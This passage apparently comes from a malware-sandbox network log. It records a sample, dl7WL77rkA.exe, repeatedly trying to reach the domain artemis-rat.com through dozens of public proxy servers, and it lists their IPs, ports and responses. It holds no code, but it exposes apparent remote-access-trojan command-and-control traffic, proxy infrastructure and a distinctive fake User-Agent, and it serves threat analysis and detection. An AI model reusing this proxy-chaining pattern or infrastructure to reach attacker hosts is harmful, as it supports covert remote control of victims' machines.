Mar 11, 2024 03:30:46.501925945 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.5	52524	104.17.239.10	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.295588017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.450021029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.5	52445	38.162.23.127	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.299036026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.767234087 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.5	52413	98.162.25.4	31654	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.304168940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.5	52448	167.172.159.43	1258	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.307205915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.995723009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806385994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.5	52472	38.54.95.19	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.312521935 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.5	52431	98.175.31.195	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.323419094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.5	52483	38.162.31.31	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.323479891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.778393030 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.5	52434	98.170.57.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.329900026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.5	52509	38.162.2.198	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.341048002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.780633926 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.5	52461	181.78.19.249	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.341085911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092415094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.905277014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.592744112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.526220083 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.5	52427	163.172.158.70	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.354537964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092545986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093033075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.905309916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.957741022 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.5	52540	129.213.150.205	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.365487099 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:41.581151009 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.5	51981	27.65.240.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.367831945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.5	51920	192.169.226.96	46191	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.368590117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405112028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405767918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.405402899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.5	50653	125.227.225.157	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.372380018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.5	52684	202.159.107.137	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.372889042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.5	52685	202.159.107.137	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.374914885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.5	52423	37.235.48.19	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.376137018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.5	52690	202.159.107.137	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.376698017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.5	52452	18.135.133.116	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.378084898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.674093008 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.5	52692	202.159.107.137	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.378237009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.5	52426	43.131.245.216	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.384699106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.5	51280	107.152.98.5	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.386919975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.5	52425	120.78.191.225	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.391228914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.719897032 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 03:30:41.721920967 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.5	52421	91.202.230.219	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413666964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.5	52473	18.185.169.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413671970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
